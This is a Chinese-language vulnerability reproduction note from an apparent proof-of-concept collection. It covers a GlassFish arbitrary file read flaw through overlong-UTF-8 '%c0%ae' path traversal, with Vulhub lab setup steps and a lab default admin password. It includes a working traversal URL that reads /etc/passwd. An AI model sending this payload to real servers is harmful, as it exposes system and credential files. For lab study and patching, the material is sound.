Awesome-POC/Web应用漏洞/GlassFish 任意文件读取漏洞.md
2024-11-06 14:10:36 +08:00

31 lines
1.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# GlassFish 任意文件读取漏洞
## 漏洞描述
参考阅读:
- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
java语言中会把`%c0%ae`解析为`\uC0AE`最后转义为ASCCII字符的`.`(点)。利用`%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/`来向上跳转,达到目录穿越、任意文件读取的效果。
## 环境搭建
Vulhub编译、运行测试环境
```
docker-compose build
docker-compose up -d
```
环境运行后,访问`http://your-ip:8080``http://your-ip:4848`即可查看web页面。其中8080端口是网站内容4848端口是GlassFish管理中心。
## 漏洞复现
访问`https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd`,发现已成功读取`/etc/passwd`内容:
![image-20220223221248955](images/202202232212069.png)
## 额外说明
本环境超级管理员密码在`docker-compose.yml`中设置,默认为`vulhub_default_password`在4848端口利用该密码可以登录管理员账户。